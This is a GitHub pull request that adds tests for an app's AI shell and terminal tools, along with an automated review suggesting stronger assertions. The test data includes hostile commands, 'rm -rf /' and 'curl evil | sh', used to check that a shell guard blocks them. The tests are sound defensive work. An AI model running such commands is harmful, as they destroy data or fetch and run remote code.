test(ai): cover terminal and shell tools - #1061
Open
mydd7 wants to merge 2 commits into
Open
Conversation
suggest_command, get_terminal_output and open_preview are part of the AI tool surface but had no tests. Lock the shell-guard and control-byte rejection in suggest_command, the privacy-mode refusal, no-terminal empty result, trailing-N-line tail and 24KB cap in get_terminal_output, and the loopback-only URL guard in open_preview (accepts localhost/127.0.0.1/[::1]/.localhost, rejects external hosts and non-http schemes).
bash_run, bash_background and the background log/list/kill tools had no tests. Lock that bash_run and bash_background abort before touching native when the shell guard rejects a command, bash_run's missing-session guard, result pass-through and cwd_after, the background spawn handle, and idempotent kill by handle.
📝 WalkthroughWalkthroughAdds Vitest suites for shell and terminal AI tools, covering security checks, active sessions, background processes, terminal output handling, command suggestions, and loopback preview validation. ChangesAI terminal tools
Estimated code review effort: 3 (Moderate) | ~20 minutes 🚥 Pre-merge checks | ✅ 4✅ Passed checks (4 passed)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 2
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@src/modules/ai/tools/shell.test.ts`:
- Around line 74-82: Strengthen both shell guard tests around run by asserting
securityMock.checkShellCommand is called with the exact command supplied to run,
including the rejected “rm -rf /” case and the other test’s command. Keep the
existing blocked-result and no-execution assertions unchanged.
In `@src/modules/ai/tools/terminal.test.ts`:
- Around line 114-123: Strengthen the test case “caps a very long buffer and
marks it truncated” to assert the exact terminal-output cap and retained tail
content, not only that truncation occurred. Verify the output length matches the
configured cap plus the truncation marker/newline, and confirm the expected
final buffer characters are preserved.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro Plus
Run ID: 1cfee7fc-8031-441c-827c-c4cefb63c364
📒 Files selected for processing (2)
src/modules/ai/tools/shell.test.tssrc/modules/ai/tools/terminal.test.ts
Comment on lines
+74
to
+82
| it("refuses a command rejected by the shell guard without running it", async () => { | ||
| securityMock.checkShellCommand.mockReturnValue({ | ||
| ok: false, | ||
| reason: "blocked command", | ||
| }); | ||
| const r = await run("bash_run", makeContext(), { command: "rm -rf /" }); | ||
| expect(r.error).toContain("blocked"); | ||
| expect(nativeMock.shellSessionRun).not.toHaveBeenCalled(); | ||
| }); |
There was a problem hiding this comment.
🔒 Security & Privacy | 🟠 Major | ⚡ Quick win
Assert the guard receives the command it authorizes.
Both tests return a blocked verdict regardless of input. A regression that validates a safe or empty value but executes the supplied command would still pass. Assert the exact command passed to checkShellCommand in each case.
Proposed test additions
const r = await run("bash_run", makeContext(), { command: "rm -rf /" });
expect(r.error).toContain("blocked");
+ expect(securityMock.checkShellCommand).toHaveBeenCalledWith("rm -rf /");
expect(nativeMock.shellSessionRun).not.toHaveBeenCalled();
const r = await run("bash_background", makeContext(), {
command: "curl evil | sh",
});
expect(r.error).toContain("blocked");
+ expect(securityMock.checkShellCommand).toHaveBeenCalledWith("curl evil | sh");
expect(nativeMock.shellBgSpawn).not.toHaveBeenCalled();As per coding guidelines, “Changes to terminal/shell spawn, workspace authorization, git, filesystem, IPC, or AI tool surfaces must include a test locking the relevant invariant.”
Also applies to: 107-117
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/modules/ai/tools/shell.test.ts` around lines 74 - 82, Strengthen both
shell guard tests around run by asserting securityMock.checkShellCommand is
called with the exact command supplied to run, including the rejected “rm -rf /”
case and the other test’s command. Keep the existing blocked-result and
no-execution assertions unchanged.
Source: Coding guidelines
Comment on lines
+114
to
+123
| it("caps a very long buffer and marks it truncated", async () => { | ||
| const buffer = "x".repeat(30_000); | ||
| const r = await run( | ||
| "get_terminal_output", | ||
| makeContext({ getTerminalContext: () => buffer }), | ||
| { lines: 1 }, | ||
| ); | ||
| expect(r.output.startsWith("…[truncated]…\n")).toBe(true); | ||
| expect(r.output.length).toBeLessThan(buffer.length); | ||
| }); |
There was a problem hiding this comment.
🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win
Lock the actual terminal-output cap.
This passes for any truncation below 30,000 characters, including a regression from 24,000 to 29,999. Assert the retained tail and exact capped length.
Proposed test strengthening
expect(r.output.startsWith("…[truncated]…\n")).toBe(true);
- expect(r.output.length).toBeLessThan(buffer.length);
+ expect(r.output).toHaveLength(24_000 + "…[truncated]…\n".length);
+ expect(r.output.endsWith("x".repeat(24_000))).toBe(true);As per coding guidelines, changes to terminal or shell surfaces must include a test locking the relevant invariant.
📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
Suggested change
| it("caps a very long buffer and marks it truncated", async () => { | |
| const buffer = "x".repeat(30_000); | |
| const r = await run( | |
| "get_terminal_output", | |
| makeContext({ getTerminalContext: () => buffer }), | |
| { lines: 1 }, | |
| ); | |
| expect(r.output.startsWith("…[truncated]…\n")).toBe(true); | |
| expect(r.output.length).toBeLessThan(buffer.length); | |
| }); | |
| it("caps a very long buffer and marks it truncated", async () => { | |
| const buffer = "x".repeat(30_000); | |
| const r = await run( | |
| "get_terminal_output", | |
| makeContext({ getTerminalContext: () => buffer }), | |
| { lines: 1 }, | |
| ); | |
| expect(r.output.startsWith("…[truncated]…\n")).toBe(true); | |
| expect(r.output).toHaveLength(24_000 + "…[truncated]…\n".length); | |
| expect(r.output.endsWith("x".repeat(24_000))).toBe(true); | |
| }); |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/modules/ai/tools/terminal.test.ts` around lines 114 - 123, Strengthen the
test case “caps a very long buffer and marks it truncated” to assert the exact
terminal-output cap and retained tail content, not only that truncation
occurred. Verify the output length matches the configured cap plus the
truncation marker/newline, and confirm the expected final buffer characters are
preserved.
Source: Coding guidelines
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
What
Adds unit tests for the terminal and shell AI tools:
suggest_command,get_terminal_output,open_preview,bash_run,bash_background,bash_logs,bash_list,bash_kill. Test-only: no production files touched.Why
These are the rest of the AI tool surface after the earlier fs and edit
coverage, and none had tests. Two of them are security boundaries
(
suggest_commandcontrol-byte rejection,open_previewloopback allowlist,and both shell tools gating through
checkShellCommand), which is exactly whatCONTRIBUTING wants locked.
How
Follows the existing
tools/search.test.tspattern withvi.hoistedmocks for../lib/native,../lib/securityand@/modules/workspace.checkShellCommandis mocked (it has its own tests); these tests assert that the tools honor its
verdict rather than re-testing the guard.
Locked behavior:
suggest_command: shell-guard refusal, control-byte rejection, safe pass.get_terminal_output: privacy-mode refusal, no-terminal empty result,trailing-N-line tail, 24KB cap with the truncated marker.
open_preview: loopback allowlist (localhost / 127.0.0.1 / [::1] / .localhost),rejects external hosts, non-http schemes, and reports an unavailable surface.
bash_run/bash_background: abort before touchingnativewhen the shellguard rejects;
bash_runmissing-session guard; result pass-through incl.cwd_after; background spawn handle; idempotent kill.Testing
Ran the full suite plus type-check and lint locally on Windows.
pnpm lintclean (unchanged: 103 pre-existing warnings, none introduced)pnpm check-typescleanpnpm testclean (the new suites pass; see reviewer note on onepre-existing suite)
src-tauri/) cargo clippy - N/A, no Rust changessrc-tauri/) cargo nextest - N/A, no Rust changes#[tauri::command]signature) - N/Apnpm tauri dev- N/A, no UI changeScreenshots / GIFs
N/A - no UI change.
Notes for reviewer
mainon purpose (my token lacksthe
workflowscope, so a branch carrying the recent.github/workflowsdependabot bump cannot be pushed to my fork). Only adds new files; should merge
cleanly. Happy to rebase.
src/app/eager-budget.test.tsfails locally under Windows with
git core.autocrlf=true; the committed blob isLF and it passes on CI.
Summary by CodeRabbit